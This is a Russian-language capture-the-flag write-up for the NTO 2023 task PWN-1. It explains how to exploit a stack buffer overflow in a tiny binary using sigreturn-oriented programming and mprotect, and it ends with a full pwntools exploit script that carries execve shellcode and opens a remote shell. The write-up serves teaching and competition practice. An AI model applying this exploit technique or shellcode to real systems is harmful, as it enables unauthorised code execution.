# PWN-1
Оценка: 10
## Описание
В данном задании необходимо проэксплуатировать бинарную уязвимость, связанную с переполнением буфера.
[Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/PWN-1/1a7f59d4-1d97-4199-8a38-f6bfb31fcc7d_micro.zip)
## Решение

Таск состоит из одного бинарного файла, который состоит из 14 строчек ассемблерного кода и слинкован без каких-либо библиотек (рис. 1).

Из ассемблерного кода становится ясна суть программы: после прочтения на стек `0x20` байт начинается переполнение, позволяющее получить контроль над потоком выполнения программы. Поскольку в задании отсутствуют механизмы защиты в лице канареек и `PIE`, очевидным способом решения задания становится `ROP`.
### SROP
В задании присутствует один существенный нюанс - это размер бинарного файла. В силу размеров и отсутствия прилинкованных библиотек возникают трудности с построением рабочей `ROP`-цепочки. На первый взгляд существует всего 2 гаджета:
- гаджет прочтения по адресу `rbp-0x20`
- `syscall`- гаджет
Однако, для того, чтобы воспользоваться `sycall`-гаджетом, нам необходимо контролировать значение регистра `rax`, для чего мы воспользуемся свойством вызываемого в программе syscall-ом `read` - количество прочитанных им байт сохраняется в этом регистре. Таким образом мы получили два примитива.
К сожалению, этого все еще недостаточно, чтобы полноценно управлять исполнением программы, поскольку для использования остальных syscall-ов нам необходимо контроллировать аргументы для них, а гаджетов для этого попросту нет. На наше счастье существует syscall `sigreturn`, а техника построения `ROP`-цепочек с его использованием носит название `SROP`.
sigreturn, rt_sigreturn - return from signal handler and cleanup
stack frame
int sigreturn(...);
По сути данный syscall берет со стека значение всех регистров, которые предварительно были разложены туда в определенном порядке. Итак, поскольку в силу наличия примитива переполнения на стеке мы можем записать туда необходимые значения, то после вызова syscall-а `sigreturn` мы можем управлять значениями всех регистров.
Дальнейший план построения ROP-цепочки
- Подготовить на стеке значения всех регистров;
- С помощью гаджета на чтение прочитать ровно `0xf` байт (номер syscall-а `sigreturn`);
- Подготовить sigreturn frame для вызова `mprotect`;
- После вызова mprotect записать shellcode и "прыгнуть" на него.
### Пояснение
После вызова `sigreturn` будет выполнена инструкция `ret`, a значит, регистр `rsp` должен указывать на какое-то место в бинарном файле, в котором лежит адрес его исполняемой части, чтобы избежать падения программы. Это место ищется вручную с помощью gdb и в итоговом эксплойте является просто магическим числом.
### Пример исходного кода для решения
```py
import pwn
from time import sleep
from os import getenv
SHELLCODE = b"\x48\x31\xF6\x48\x31\xD2\x49\xB8\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x4C\x89\x04\x25\x00\x10\x40\x00\x48\xC7\xC7\x00\x10\x40\x00\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"
SYSCALL_GADGET = 0x000000000040102d
READ_ON_BUF = 0x0000000000401018
binary = pwn.ELF("./micro")
pwn.context.binary = binary
io = pwn.remote(getenv("IP"), int(getenv("PORT")))
frame = pwn.SigreturnFrame()
frame.rdi = 0x400000
frame.rsi = 0x10000
frame.rax = 0xa
frame.rdx = 0x7
frame.rbp = 0x402100
frame.rip = SYSCALL_GADGET
frame.rsp = 0x4021f0
payload = pwn.cyclic(0x20) # fill buffer
payload += pwn.p64(READ_ON_BUF)
payload += pwn.p64(SYSCALL_GADGET)
payload += bytes(frame)
io.send(payload)
sleep(1)
io.send(pwn.cyclic(0xf))
sleep(1)
payload2 = pwn.cyclic(0x20) + pwn.p64(0x4021f0 + 0x8)
payload2 += SHELLCODE
io.send(payload2)
io.interactive()
```